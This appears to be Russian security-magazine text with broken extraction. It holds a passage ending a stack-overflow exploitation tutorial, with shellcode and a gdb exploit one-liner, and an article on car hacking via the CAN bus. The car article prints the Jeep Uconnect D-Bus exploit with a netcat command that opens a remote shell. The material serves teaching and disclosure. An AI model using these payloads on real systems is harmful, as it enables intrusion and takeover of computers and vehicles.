Пе ресо берем прог рамму и зап росим лис тинг ассем бле ра.

 

 

 gcc ‐g ‐Wall ‐Werror ‐O0 ‐m32 ‐fno‐stack‐protector ‐z execstack ‐no‐
pie ‐Wl,‐z,norelro ‐o overflow overflow.c 
 gdb ‐batch ‐ex 'file ./overflow' ‐ex 'disas main'

$

$

Dump of assembler code for function main:
  0x0804841b <+0>:     lea    ecx,[esp+0x4]
  0x0804841f <+4>:     and    esp,0xfffffff0
  0x08048422 <+7>:     push   DWORD PTR [ecx‐0x4]
  0x08048425 <+10>:    push   ebp
  0x08048426 <+11>:    mov    ebp,esp
  0x08048428 <+13>:    push   ecx
  0x08048429 <+14>:    sub    esp,0x84
  0x0804842f <+20>:    mov    eax,ecx
  0x08048431 <+22>:    mov    eax,DWORD PTR [eax+0x4]
  0x08048434 <+25>:    add    eax,0x4
  0x08048437 <+28>:    mov    eax,DWORD PTR [eax]
  0x08048439 <+30>:    sub    esp,0x8
  0x0804843c <+33>:    push   eax
  0x0804843d <+34>:    lea    eax,[ebp‐0x88]
  0x08048443 <+40>:    push   eax
  0x08048444 <+41>:    call   0x80482f0 <strcpy@plt>
  0x08048449 <+46>:    add    esp,0x10
  0x0804844c <+49>:    sub    esp,0x8
  0x0804844f <+52>:    lea    eax,[ebp‐0x88]
  0x08048455 <+58>:    push   eax
  0x08048456 <+59>:    push   0x80484f0
  0x0804845b <+64>:    call   0x80482e0 <printf@plt>
  0x08048460 <+69>:    add    esp,0x10
  0x08048463 <+72>:    mov    eax,0x0
  0x08048468 <+77>:    mov    ecx,DWORD PTR [ebp‐0x4]
  0x0804846b <+80>:    leave
  0x0804846c <+81>:    lea    esp,[ecx‐0x4]
  0x0804846f <+84>:    ret
End of assembler dump.

Раз берем его по час тям. Во‐пер вых, видим, что про лог по срав нению со ста‐ 
рым вари антом вырос до семи строк.

0x0804841b <+0>:  lea  ecx,[esp+0x4]        ; бэкап оригинального 
значения ESP в ECX
0x0804841f <+4>:  and  esp,0xfffffff0       ; выравнивание
0x08048422 <+7>:  push DWORD PTR [ecx‐0x4]  ; сохранение адреса 
возврата
0x08048425 <+10>: push ebp
0x08048426 <+11>: mov  ebp,esp
0x08048428 <+13>: push ecx                  ; сохранение 
оригинального значения ESP
0x08048429 <+14>: sub  esp,0x84

Ос новное  раз личие —  в  инс трук ции  ,  которая  вырав‐ 
нива ет вер шину сте ка таким обра зом, что бы она была крат на 16. Но если так
гру бо обой тись с ESP, то как же тог да вер нуть его пер воначаль ное зна чение
в эпи логе?

and  esp,0xfffffff0

Для это го ори гиналь ное зна чение копиру ется в регистр ECX и сох раня ется
в сте ке дваж ды:
1. Сна чала  инс трук ция    уста нав лива ет  ECX  на  аргу мент    (ESP+4)
фун кции  ,  пос ле  чего  в  стек  пушит ся  ECX‐4.  Это  то  же  самое,  что
и  ESP,  так  как  .  Таким  обра зом  в  стек
помеща ется адрес воз вра та.

lea argc

main

ECX­4  =  (ESP+4)­4  =  ESP

2. Да лее пос ле уже зна комой нам час ти ори гиналь ного про лога (
) ECX сно ва пушит ся в стек для того, что бы в кон це инс трук‐ 

ция    смог ла  вос ста новить  его  преж нее  зна чение  при  завер шении
работы  фун кции.  Так же  сле дует  обра тить  вни мание,  что  теперь
для  буфера  выдели лась  допол нитель ная  память  (0x84  байт  вмес‐ 
то 0x80) — опять же с целью не кон флик товать с новым вырав нивани ем.

push ebp;

mov ebp,esp

leave

Меж ду про логом и эпи логом все оста лось прак тичес ки так же, как в пер вом
слу чае  —  за  исклю чени ем  того,  что  теперь  обра щение  к  аргу мен там 
осу щест вля ется по сме щению отно ситель но регис тра ECX.

main

Что  каса ется  эпи лога,  то  здесь  добави лась  все го  одна  новая  инс трук‐ 
ция — вос ста нов ление ори гиналь ного зна чения регис тра ESP для успешно го
воз вра та из фун кции инс трук цией  .ret

0x0804846b <+80>: leave                 ; mov esp,ebp; pop ebp
0x0804846c <+81>: lea    esp,[ecx‐0x4]  ; восстановление 
оригинального значения ESP
0x0804846f <+84>: ret                   ; eip = esp

К сло ву, такой про лог спе цифи чен толь ко для глав ной фун кции  . Если бы
в  нашей  прог рамме  были  еще  фун кции,  то  груз  ответс твен ности  за  вырав‐ 
нивание их сте ковых фрей мов лег бы на пле чи вызыва ющей фун кции (то есть

), а у вызыва емых фун кций были бы клас сичес кие про логи и эпи логи.

main

main
Из‐за  допол нитель ного  зна чения  регис тра  ECX,  которое  дол жно  быть

куда‐то сох ранено, рисунок, демонс три рующий устрой ство сте ка для 
, изме нит ся.

функции
main

Раз мещение дан ных в сте ке для фун кции main overflow.c с вырав нивани ‐
ем по 16‐бай тной гра нице

Пос мотрим, как эти изме нения ска жут ся на экс плу ата ции.

Прак тика
Итак, что же про изой дет, если я попыта юсь иссле довать ском пилиро ван ную
таким обра зом прог рамму той же методи кой, которую я исполь зовал в самом
начале?

Сге нери рую  уни каль ный  пат терн  дли ной  200  сим волов  для  надеж ности
и поп робую отыс кать рас сто яние до EIP.

По веде ние ском пилиро ван ной без ‐mpreferred‐stack‐boundary=2 прог ‐
раммы при подаче 200‐бай тно го пат терна

EIP вооб ще ука зыва ет на, казалось бы, слу чай ный адрес.•
По  зна чению  ESP  раз мер  сме щения  опре делить  нель зя  (в  подан ном
на вход прог рамме уни каль ном пат терне такой пос ледова тель нос ти байт
не сущес тву ет).

•

Сме щение мож но опре делить до сох ранен ного адре са EBP.•

 

 

gdb‐peda$ pattern offset 0x41514141 
1095844161 found at offset: 136

Так как мы уже разоб рали ассем блер ный код, все дол жно встать на свои мес‐ 
та: отпра вив прог рамме в качес тве вход ных дан ных стро ку дос таточ ной дли‐ 
ны, мы переза писа ли все жиз ненно важ ные зна чения в сте ке.

: переза пись ECX при вела к тому, что в регистр ESP попало зна‐ 
чение  ,  а  это  не  что  иное,  как  ,  где

  —  это  пос ледова тель ность  ,  которая  при сутс тву ет  в  сге‐ 
нери рован ном пат терне, начиная со 133 позиции. За это отве чает инс трук ция

 из эпи лога.

Пер вое

0x6c41414c  ('LAAl') 0x6c414150  ‐  4
0x6c414150 PAAl

lea esp,[ecx‐0x4]

 

 

gdb‐peda$ pattern offset 0x6c414150 
1816215888 found at offset: 132

:  переза пись  ESP  при вела  к  тому,  что  теперь  EIP  ука зыва ет
на  несущес тву ющее  зна чение,  ведь    попытал ся  перей ти  по  адре су

 (выделе но синим). За это отве чает инс трук ция 
 из про лога, где  .

Вто рое

ret
0x6c414150 push DWORD PTR
[ecx‐0x4] ecx‐0x4 = (esp+0x4)‐0x4 = 0x6c414150

: переза пись EBP при вела толь ко к тому, что на его мес те ока зал ся
мусор, но сме щение до его сох ранен ного зна чения рас счи талось вер но.

Третье

Вот  дру гой  инте рес ный  для  ана лиза  слу чай:  я  передам  пат терн  дли ной
ров но в 132 бай та — объ ем памяти, выделен ной под буфер.

По веде ние прог раммы, ском пилиро ван ной без ‐mpreferred‐stack‐bound‐
ary=2, при подаче 132‐бай тно го пат терна

Ка жет ся,  что  про изош ло  чудо,  ведь  EIP  успешно  перепол нился —  и  я  даже
могу пос читать сме щение.

 

 

gdb‐peda$ pattern offset 0x48414132 
1212236082 found at offset: 60

Толь ко  вот  оно  рав но  60.  Как  же  мог ло  про изой ти  так,  что  адрес  воз вра та
ока зал ся  прак тичес ки  ров но  на  середи не  области  памяти,  выделен ной
под локаль ные перемен ные, да и вооб ще с чего бы слу чать ся перепол нению,
если я передаю стро ку, дли на которой рав на раз меру мас сива?

Здесь  все  не  так  оче вид но,  но  все  рав но  впол не  объ ясни мо:  ког да  я
передаю пат терн дли ной 132 бай та, на самом деле я передаю не 132 бай та,
а  133,  ведь  добав ляет ся  вез десущий  ,  или  сим вол  кон ца
стро ки (ведь мы пишем на C). Поэто му 132 бай та «офи циаль но» при нял мас‐ 
сив  , а вот нулевой сим вол дос тался LSB‐бай ту зна чения ECX, что понижа‐ 
ет его на два раз ряда — то есть делит на 256. Сле дова тель но, ESP (а зна чит,
и  EIP)  впос ледс твии  ока жет ся  «внут ри»  ,  так  как  его  адрес  зна читель но
умень шит ся.

нуль‐тер минатор

buf

buf

Нес мотря  на  это,  таким  спо собом  мож но  было  бы  переза писать  EIP
и даже выпол нить шелл‐код, но нам прос то повез ло с раз мером мас сива —
и сра бота ет это не всег да. Поэто му поищем более акку рат ный путь для экс‐ 
плу ата ции.

Все, что тебе нуж но, — это «пой мать» зна чение вер хушки сте ково го фрей‐ 
ма перед его раз рушени ем (то есть перед выпол нени ем инс трук ции  ),
что бы  иметь  воз можность  вос ста новить  кор рек тное  зна чение  ESP  до  его
вырав нивания. Для  это го  я  пос тавлю  точ ку  оста нова  на  адре се 
(см. ассем блер ный лис тинг) и запущу прог рамму с диаг ности чес кой стро кой
из мусор ных сим волов дли ной в 136 байт ( ).

leave

0x0804846b

136 = buf + ecx = 132 + 4

 

 

 gdb‐peda$ b *0x0804846b
gdb‐peda$ r `python ‐c 'print "A"*136'`

Ло вим зна чение ESP

У меня есть нуж ное зна чение:  . Теперь я прос то уве личу его
на 4, эму лируя тем самым дей ствия ком пилято ра, и переза пишу EIP на «мер‐ 
твый код» такой вре донос ной стро кой.

ESP: 0xbfffedc0

 

 

gdb‐peda$ r `python ‐c 'print "\xd3\x4d\xc0\xd3"[::‐1] + "A"*128 + "\
xbf\xff\xed\xc4"[::‐1]'`

Proof‐of‐Concept переза писи EIP

Мой пей лоад для дан ной ситу ации при нял вид 
.  Зна чение  ESP  было  умень шено  ассем блер ным  кодом  на  4,  помеще но

в регистр ECX, отку да, в свою оче редь, был вос ста нов лен ори гиналь ный стек,
вер шина которо го ука зыва ла на начало «мусор ной» стро ки —  .

адрес_возврата + мусор + 
ESP

0xd34dc0d3
Та ким обра зом, раз метить шелл‐код я дол жен по тому же адре су, который

содер жит сох ранен ное зна чение регис тра ESP. Если учесть еще два 32‐бай‐ 
тных NOP‐сре за, в которые я обла чу полез ную наг рузку, и тот факт, что «прыг‐ 
нуть»  я  собира юсь  ров но  на  середи ну  пер вой  NOP‐пос ледова тель нос ти
( ),  то в конеч ном виде экс пло ит будет выг‐ 
лядеть так.
0xbfffedd4 = 0xbfffedc4 + 16

ret_addr  = '\xbf\xff\xed\xd4'[::‐1]
junk      = 'A' * 31
nop_sled  = '\x90' * 32
saved_esp = '\xbf\xff\xed\xc4'[::‐1]

# setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])
shellcode = '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\
x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\
xe1\xcd\x80'

payload = ret_addr + nop_sled + shellcode + nop_sled + junk + saved_
esp

Или в виде однос троч ника.

 

 

gdb‐peda$ r `python ‐c 'print "\xbf\xff\xed\xd4"[::‐1] + "\x90"*32 + "\
x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\
x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90"*32 
+ "A"*31 + "\xbf\xff\xed\xc4"[::‐1]'`

Окон чатель ная экс плу ата ция, получе ние шел ла и выпол нение id

По беда! Игра окон чена.

https://wiki.ubuntu.com/Apport
http://man7.org/linux/man-pages/man5/core.5.html
https://github.com/Gallopsled/pwntools
https://security.stackexchange.com/questions/110943/how-to-exploit-a-stack-overflow-without-setting-mpreferred-stack-boundary-2
https://security.stackexchange.com/questions/147119/32bits-linux-simple-stack-overflow-eip-never-overwritten
https://security.stackexchange.com/questions/121242/unable-to-overwrite-eip-register
https://stackoverflow.com/questions/11886429/understanding-new-gcc-prologue
https://ru.wikipedia.org/wiki/SSE2
https://ru.wikipedia.org/wiki/%D0%9D%D1%83%D0%BB%D1%8C-%D1%82%D0%B5%D1%80%D0%BC%D0%B8%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B0
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ВЗЛОМ

Сов сем недав но у всех на слу ху была гром кая  : слу‐ 
чилась  беда,  «Тес ла»  рулит  не  туда!  Как  же  пос ле  это го
доверять  «умным»  машинам?  Что бы  разоб рать ся  в  серь‐ 
езности  угро зы  для  пер спек тивной  тех нологии,  мы  изу чим
архи тек туру сис темы, исто рию воп роса, основные уяз вимые
точ ки и век торы ата ки — а так же пос мотрим кон крет ные слу‐ 
чаи.

но вость

«Тес ла» сби лась с кур са и ока залась в глу хом и уны лом мес те — не по
сво ей воле, конеч но

АРХИТЕКТУРА: CAN-ШИНА, БЛОКИ ECU И ПРОЧЕЕ
Нач нем  с  архи тек туры.  Бор товой  компь ютер  сов ремен ного  авто моби ля
на  самом  деле  не  сущес тву ет  как  еди ное  целое.  Вмес то  него  мы  име ем
совокуп ность  элек трон ных  бло ков  управле ния  (Electronic  control  unit,  ECU),
соеди нен ных  в  сеть.  С  кон ца  вось мидеся тых  годов  и  до  сегод няшне го  дня
базовым стан дартом этой сети оста ется так называ емая CAN‐шина. То есть
кус ки витой пары, которым все бло ки ECU переда ют сооб щения оди нако вого
фор мата.

На самом деле все, конеч но, нем ного слож нее. Шина может быть не одна,
а  нес коль ко — нап ример,  для  более  важ ных  устрой ств  с  повышен ным быс‐ 
тро дей стви ем и для вто рос тепен ных. В  таком слу чае меж ду шинами сущес‐ 
тву ет какой‐нибудь «мост». А в сво ей плат форме элек тро моби лей MEB авто‐ 
кон церн  Volkswagen  и  вов се  отка зыва ется  от  архи тек туры  на  осно ве  CAN‐
шины и будет исполь зовать вмес то нее бор товой Ethernet — и еди ную опе‐ 
раци онную сис тему на осно ве Android.

WWW

Под робнее  о  фор мате  обме на  дан ными  и  об
устрой стве  CAN‐шины  мож но  про честь  в  нашей
недав ней  ,  в  нашем  мар тов ском 
2015 года или в  . А если хочет ся дей‐ 
стви тель но под робно изу чить воп рос, то в откры‐ 
том дос тупе есть хорошая   от боль шого спе‐ 
циалис та.

статье но мере
Ви кипе дии
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Нам  же  пока  важ но  то,  что,  каким  бы  «умным»  ни  был  сов ремен ный  авто‐ 
мобиль, в осно ве лежит та же самая шина. А зна чит, по‐преж нему акту аль на
ее  прин ципи аль но  неус тра нимая  уяз вимость:  получив  дос туп  к  CAN  (нап‐ 
ример,  под клю чив шись  к  диаг ности чес кому  разъ ему  или  пос тавив  на  шину
сниф фер), мы получа ем дос туп ко всей переда ваемой информа ции. Со все‐ 
ми вытека ющи ми пос ледс тви ями.

И если мы смо жем передать какому‐то из бло ков ECU свой сиг нал, то он
пос лушно  выпол нит  коман ду.  Если  это  будет  блок  управле ния  кон дици оне‐ 
ром,  еще  не  так  страш но.  А  если  блок  управле ния  тор мозами  или  дви гате‐ 
лем?  В  соот ветс твии  с    «ломать  не  стро ить»  (или  Garbage  in,
garbage out — «мусор на вхо де, мусор на выходе») одна‐единс твен ная неп‐ 
равиль ная коман да, пос тупив шая в момент нап ряжен ного обго на с выез дом
на встреч ную полосу, может при вес ти к печаль ным пос ледс тви ям и гром ким
газет ным заголов кам.

прин ципом

Впро чем,  дела  не  нас толь ко  пло хи.  Про изво дите ли  не  дураки  и  впол не
в сос тоянии встро ить  эле мен ты  защиты в  каж дый  кон крет ный блок ECU. Он
может отка зать ся при нимать  коман ду, если в ней нет пра виль ной  кон троль‐ 
ной сум мы или если она будет не соот ветс тво вать каким‐то допол нитель ным
усло виям. Очень час то прит ворить ся помощ ником при пар ковке мож но, толь‐ 
ко если машина едет зад ним ходом и не быс трее пяти километ ров в час, —
при дру гих усло виях его сиг налы будут про игно риро ваны.

Кро ме того, сооб щения в CAN‐шине — это коман ды нас толь ко низ коуров‐ 
невые, что их мож но срав нить с машин ным кодом. Что бы понять, что озна чает
пос ледова тель ность  битов,  при дет ся  дол го  читать  тех ничес кие  инс трук ции
про изво дите ля  или  про водить  натур ные  экспе римен ты  на  нас тоящем  авто‐ 
моби ле — или, на без рыбье, на отдель ных бло ках ECU.

УЧЕНЫЕ ВСТУПАЮТ В БОЙ
По луча ется  инте рес ная  ситу ация:  на  теоре тичес ком  уров не  взло мать  авто‐ 
мобиль очень прос то, но на прак тичес ком понадо бит ся мно го скру пулез ной
под готов ки.  И  как‐то  так  выш ло,  что  дол гое  вре мя  этим  занима лись
в  основном  люди,  дер жащи еся  в  тени  и  име ющие  сугубо  корыс тные  инте‐ 
ресы — не получить кон троль над элек тро никой авто маши ны, а получить саму
авто маши ну в свои руки.

Толь ко  в  2010  году  об  этой  теме  загово рили  всерь ез.  На  пос вящен ном
безопас ности  сим пози уме  Инсти тута  инже неров  элек тро тех ники  и  элек тро‐ 
ники (IEEE) был пред став лен   инже неров‐компь ютер щиков из уни вер‐ 
ситетов Сан‐Диего и Вашин гто на.
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Они  опи сали  мно жес тво  чрез вычай но  инте рес ных  осо бен ностей  авто‐ 
моби лей  как  компь ютер ных  сис тем.  В  основном  эти  осо бен ности  про исте‐ 
кали  из  того,  что  в  индус трии  мно го  вни мания  уде ляет ся  безопас ности
при штат ном исполь зовании и чрез вычай ных ситу ациях, но мало — защищен‐ 
ности от целенап равлен ной ата ки на элек трон ные сис темы авто моби ля.

Нап ример, что бы при ава рии две ри авто моби ля не ока зались запер тыми,
низ копри ори тет ная  сеть,  куда  был  вклю чен  блок  управле ния  цен траль ным
зам ком,  име ла  «мос товую»  связь  с  высокоп риори тет ной  сетью,  в  которой
были дат чики сос тояния все го авто моби ля и бло ки раз нооб разных сис тем —
«помощ ников»  водите ля.  А  прод винутые  телема тичес кие  сис темы  собира ли
показа ния  мно жес тва  дат чиков  и  по  сотовой  свя зи  отправ ляли  их  в  сер‐ 
висные цен тры — что бы авто мобиль заранее мог под ска зать вла дель цу, что
ско ро  нас танет  пора  заг лянуть  в  авто сер вис,  или  самос тоятель но  зво‐ 
нил 911 в  слу чае ава рии. Более  того,  в  ту же сис тему мог ло быть  вклю чено
и про тиво угон ное устрой ство — поз воля ющее на рас сто янии заб локиро вать
дви гатель машины.

INFO

Еще  пару  строк  об  архи тек туре:  в  сов ремен ных
авто моби лях  поч ти  всег да  есть  спе циаль ный
диаг ности чес кий  разъ ем  OBD‐II  и  спе циаль ный
диаг ности чес кий  режим,  пред назна чен ный
для авто меха ников. И что бы в любом авто сер висе
в  любой  глу ши  спе циалист  имел  воз можность
«подеба жить»  машину,  дос туп  к  это му  режиму,
по сути, пре дос тавля ется... через дос туп к разъ‐ 
ему.  Да,  имен но  так.  Прак тичес ки  логин  root,
пароль  password.  На  исполь зовании  это го
режима  осно ваны  мно гие  при меры  из  этой
статьи.

Что  же  имен но  сде лала  эта  коман да  иссле дова телей?  Для  начала  они
написа ли  прог рамму CARSHARK —  гиб кий  инс тру мент  для  ана лиза  и  внед‐ 
рения сооб щений в CAN‐шине. Даль ше откры вают ся широкие воз можнос ти.
Не  вда ваясь  осо бен но  глу боко  в  тех ничес кие  под робнос ти,  ска жем  толь ко,
что те бло ки ECU, в которых была встро ена аутен тифика ция, были защище ны
все го  лишь  16‐бит ным  клю чом.  Такую  защиту  получит ся  обой ти  методом
перебо ра за нес коль ко дней. Пос ле это го мож но, нап ример, «переп рошить»
ECU — и тог да уже тво ри что угод но.

На нес ти сущес твен ный вред мож но и прос то устро ив клас сичес кую DoS‐
ата ку:  перег ружен ная  бес смыс ленны ми  сооб щени ями  сис тема  ста нови лась
нерабо тос пособ ной.  Но  мож но  было  и  поиг рать  в  героя  филь мов
про  хакеров.  Нап ример,  в  качес тве  прос той  и  убе дитель ной  демонс тра ции
сво их сил иссле дова тели написа ли «демови рус само унич тожения»: пос ле его
запус ка  машина  выводи ла  на  спи дометр  обратный  отсчет  от  шес тидеся ти,
в  такт  ухо дящим  секун дам  мигала  поворот никами  и  сиг налила,  а  потом
намер тво  глу шила дви гатель и бло киро вала  зам ки, оставляя на спи домет ре
над пись PWNED.

Еще  более  ковар ный  под ход,  который  про демонс три рова ли  иссле дова‐ 
тели, — заг рузка вре донос ного  кода в опе ратив ную память  телема тичес кой
сис темы  (внут ри  которой была пол ноцен ная ОС на базе Unix). Они сде лали
так, что бы код сра баты вал по триг геру (нап ример, раз гону до опре делен ной
ско рос ти) и перезаг ружал сис тему пос ле сра баты вания, уда ляя себя отту да.
Иде аль ное прес тупле ние!

PWNED!

Но  на  этом  иссле дова тели  не  оста нови лись.  В  сле дующем,  2011  году  они
пред ста вили  новый  док лад  ( ),  в  котором  рас смат ривали  уже  не  то,  что
может  сде лать  с  сис темой  зло умыш ленник,  получив  к  ней  дос туп,  —  а  то,
как имен но он может этот дос туп получить.
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Повод задумать ся
В 2011 году иссле дова тели отме чали в качес тве уже реаль ного век тора ата ки
компь юте ры,  к  которым  в  авто сер висах  под клю чают  авто моби ли,  —  они
исполь зуют Windows и час то нуж дают ся в дос тупе к интерне ту... А в качес тве
теоре тичес кого, воз можно го в будущем — обо рудо ван ные на заряд ных стан‐ 
циях  для  элек тро моби лей  «умные»  заряд ки,  по  которым  идет  не  толь ко  ток
высокой силы, но и информа ция.

В отли чие от их пре дыду щего весь ма кон крет ного док лада этот чита ется ско‐ 
рее  как  зах ватыва ющее  повес тво вание  о  высотах  и  про валах  инже нер ного
искусс тва.  Чего  сто ит  толь ко  музыкаль ный  трек  в  фор мате  WMA,  который
на  компь юте ре  про игры вает ся  как  обыч ная  музыка,  но  на  авто мобиль ном
пле ере отправ ляет вре донос ные пакеты в CAN‐шину. Или рас сужде ния о том,
как имен но мож но под соеди нить ся к машине по Bluetooth или через телема‐ 
тичес кую сис тему с под клю чени ем к сотовой свя зи.

Ины ми  сло вами,  в  этом  док ладе  иссле дова тели  ско рее  ука зыва ли
на потен циаль ные угро зы, напоми нающие сце нарии филь мов про хакеров, —
с  той ого вор кой,  что они дей стви тель но  все это про дела ли  в  лабора тор ных
усло виях, а не прос то пред положи ли, что такие вещи могут про изой ти.

КРИС ВАЛАСЕК И ЧАРЛИ МИЛЛЕР — ЛЕГЕНДАРНЫЙ ДУЭТ
Что ж, пос ле  того как это сде лала коман да иссле дова телей из двух  круп ных
уни вер ситетов, их дос тижения смог ли пов торить два пар ня в сво ем гараже —
зна комь ся,   и  .Крис Валасек Чар ли Мил лер

Так леген дарные хакеры выг лядят в жиз ни

На чали они с того, что дотош но пов торили иссле дова ния сво их пред шес твен‐ 
ников — и написа ли куда более раз верну тый и пол ный  . Выводы, опи‐ 
сан ные в нем, в этой статье уже нес коль ко раз упо мина лись: для успешно го
взло ма  авто моби ля  нуж но  мно го  кро пот ливой  пред варитель ной  работы,
в которой есть свои под водные кам ни — нап ример, если иссле довать бло ки
ECU отдель но от авто моби ля, на спе циаль ном испы татель ном стен де, то они
могут  (и  будут!)  вес ти  себя  не  впол не  так,  как  в  рабочих  усло виях.  Но  если
не боять ся всей этой работы, то, ког да получишь дос туп к авто моби лю, будет
понят но, что делать, — и мож но будет сде лать очень мно гое.
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За тем  они  изу чили  пару  десят ков  кон крет ных  моделей  авто моби лей,
обра щая вни мание на детали их сетевой архи тек туры — и осо бен но на воз‐ 
можные  век торы  уда лен ной  ата ки.  Имен но  на  этом  эта пе  они  выдели ли  так
называ емые  кибер физичес кие  ком понен ты  —  все воз можные  помощ ники
водите ля  вро де  кру из‐кон тро ля  или  бло ка  LKA  (Lane Keep Assist,  помощ ник
удер жания  в  полосе).  Эти  устрой ства  одновре мен но  слу жат  самой  прив‐ 
лекатель ной  конеч ной  целью  для  хакера  —  и  важ ными  вехами  на  пути
к по‐нас тояще му само управля емо му авто моби лю.

Ва ласек  и  Мил лер  обна ружи ли,  что,  с  одной  сто роны,  про изво дите ли
авто моби лей  исполь зуют  раз ные  ком понен ты  и  сетевую  архи тек туру,  но,
с дру гой сто роны, во мно гих раз вле катель ных сис темах при меня ются широко
извес тные  решения  из  обыч ной  поль зователь ской  элек тро ники  вплоть
до веб‐бра узе ров.

Пе чаль ная исто рия о джи пе и ауди осис теме
Но  глав ным  резуль татом  это го  эта па  их  тру дов  ста ло  наз начение  цели
для  сле дующе го  шага.  Они  наш ли  потен циаль но  инте рес ную  уяз вимость
в модели Jeep Cherokee 2014 года — и решили взять ся за нее всерь ез.

И их уси лия были воз награж дены. В при бор ную панель джи па была встро‐ 
ена  раз вле катель ная  сис тема  Harman  Uconnect  —  компь ютер  с  32‐бит ным
про цес сором архи тек туры ARM и опе раци онной сис темой QNX (Unix‐подоб‐ 
ная ком мерчес кая мик роядер ная ОС, час то исполь зует ся в подоб ных встро‐ 
енных  сис темах).  Она  сов мещала  в  себе  ауди осис тему,  ради останцию,
навига тор, при ложе ния — а еще уме ла раз давать Wi‐Fi и име ла модем 3G.
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Важ ный нюанс: в Jeep был не прос той модем 3G,
а  спе циаль но  нас тро енный  на  аме рикан ско го
про вай дера  Sprint  —  ‐опе рато ра,  который
пре дос тавля ет широкий спектр услуг, в том чис ле
мобиль ную телефо нию.

Tier‐1

Ска ниро вание откры тых пор тов этой  точ ки дос тупа показа ло,  что в их  чис ле
был  порт  6667.  И  что  этот  порт  исполь зовал ся  сис темой  меж про цес сно го
вза имо дей ствия  D‐Bus.  И  что  для  дос тупа  к  ней  по  это му  пор ту  был  даже
не нужен пароль.

 

 

telnet 192.168.5.1 6667 
Trying 192.168.5.1... 
Connected to 192.168.5.1. 

Escape character is '  
AUTH ANONYMOUS 
OK 4943a53752f52f82a9ea4e6e00000001 
BEGIN

]'.

Пос ле это го мож но было прос то запус тить корот кий скрипт на Python, что бы
открыть обо лоч ку уда лен ного «рутово го» дос тупа.

import dbus
bus_obj=dbus.bus.BusConnection("tcp:host=192.168.5.1,port=6667")
proxy_object=bus_obj.get_object('com.harman.service.NavTrailService',
'/com/harman/service/NavTrailService')
playerengine_iface=dbus.Interface(proxy_object,dbus_interface='com.
harman.ServiceIpc')
print playerengine_iface.Invoke('execute','{"cmd":"netcat ‐l ‐p 6666 
| /bin/sh | netcat 192.168.5.109 6666"}')

И, по сло вам самих  хакеров,  «даль ше на этой шту ке мож но запус кать  какой
угод но код».

По дарок судь бы: безала бер ный про вай дер с дырявой сетью
Но  на  этом  уди витель ные  откры тия  не  закан чива ются.  Порт  6667  был  дос‐ 
тупен  для  любого  сетево го  интерфей са,  вклю чая  3G‐модем.  Хакеры  купили
на eBay нес коль ко «фем тосот» — мини атюр ных точек дос тупа для сети Sprint
Airave 2.0, зная, что в этих устрой ствах есть экс пло ит, поз воля ющий под клю‐ 
чать ся  к ним через Telnet. И да,  ког да машина попала в ради ус дей ствия их
точ ки, хакеры смог ли под клю чить ся к авто моби лю. Но и это было еще не все!
Ока залось, что любые два устрой ства, под клю чен ные к сети Sprint, могут свя‐ 
зать ся друг с дру гом в пре делах США.

К  это му  момен ту  хакеры  уже  уста нови ли  спи сок  IP‐адре сов,  которые
в  этой  сети  выделя лись  под  авто моби ли.  Дос таточ но  было  прос каниро вать
этот диапа зон — любой адрес в сети с откры тым пор том 6667 был дос тупом
к  интерфей су  D‐Bus  какого‐то  авто моби ля  в  США.  Вов се  не  обя затель но
«Чероки».  Иссле дова тели  обна ружи ли  нес коль ко  моделей  с  откры тым
для дос тупа без аутен тифика ции пор том — и в этом мес те сво ей работы они
нес коль ко  раз  пов торя ют,  что  ничего  не  внед ряли  ни  в  какой  из  най ден ных
авто моби лей, а прос то обна ружи ли уяз вимость.

Им не уда лось уста новить, сколь ко имен но машин они мог ли бы взло мать,
будь  у  них  желание, —  и  пред положи ли,  что  пару  сотен  тысяч.  Но  ког да  их
иссле дова ние  ( )  было  опуб ликова но,  кон церн  Chrysler  отоз вал  по  при‐ 
чинам безопас ности пол тора мил лиона авто моби лей.
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WARNING

В  этом  мес те  авто ры  еще  раз  отме чают:  да,
это озна чает, что мож но написать вирус‐«червь»,
который будет заражать машины. И про сят сво их
читате лей не делать это го, потому что это дур ной
пос тупок  с  пло хими  пос ледс тви ями.  Мы  тоже
про сим  тебя  это го  не  делать,  хотя  бы  пом ня
о статье 272 УК РФ.

ПРИКЛАДНАЯ ФИЛОСОФИЯ: БЕЗОПАСНОСТЬ В РАЗРАБОТКЕ И
БЕЗОПАСНОСТЬ В ИСПОЛЬЗОВАНИИ
Крис Валасек и Чар ли Мил лер дол го и упор но тру дились и наконец добились
сво его — их взлом «Чероки» дей стви тель но стал сен саци ей, пос ле  которой
про изво дите ли авто моби лей наконец‐то начали прис лушивать ся к экспер там
по безопас ности.

Три умфаль ное выс тупле ние на кон ферен ции: док ладчи ки спра ва, их
«жер тва» сле ва

Ха керы сумели убе дить пред ста вите лей индус трии в том, что для компь юте‐ 
ризи рован ных авто моби лей важ ны все те же самые прин ципы безопас ности,
что и для осталь ной элек тро ники: про екти рова ние с упо ром на луч шие прак‐ 
тики  инфо сека,  тес ная  работа  с  хакера ми‐экспер тами  и,  самое  глав ное,
понима ние того, что «дыры» нуж но не замал чивать, а опе ратив но исправ лять
пат чами, желатель но — цен тра лизо ван но рас простра няемы ми и тре бующи ми
от поль зовате ля минимум уси лий.

Нап ример, какой‐нибудь ленивый и нелюбо пыт ный водитель джи па впол не
мог про пус тить пре дуп режде ния о проб леме, не доехать до сер висно го цен‐ 
тра и оста вить свою машину уяз вимой. А вот вла делец «Тес лы» уже получа ет
обновле ния безопас ности на свою машину так же, как на телефон или компь‐ 
ютер.

Кро ме  это го,  дуэт  хакеров  отдель но  отме тил  нас торажи вающую  тен‐ 
денцию —  чем боль ше  в  сов ремен ном  авто моби ле  «кибер физичес ких  ком‐ 
понен тов»,  чем  «умнее»  они  ста новят ся,  тем  боль ше  кон тро ля  над  поведе‐ 
нием авто моби ля мог ло быть отда но отдель ному бло ку ECU. Такой блок ока‐ 
зыва ется высокоп риори тет ной и кри тич ной целью одновре мен но. Пос ле про‐ 
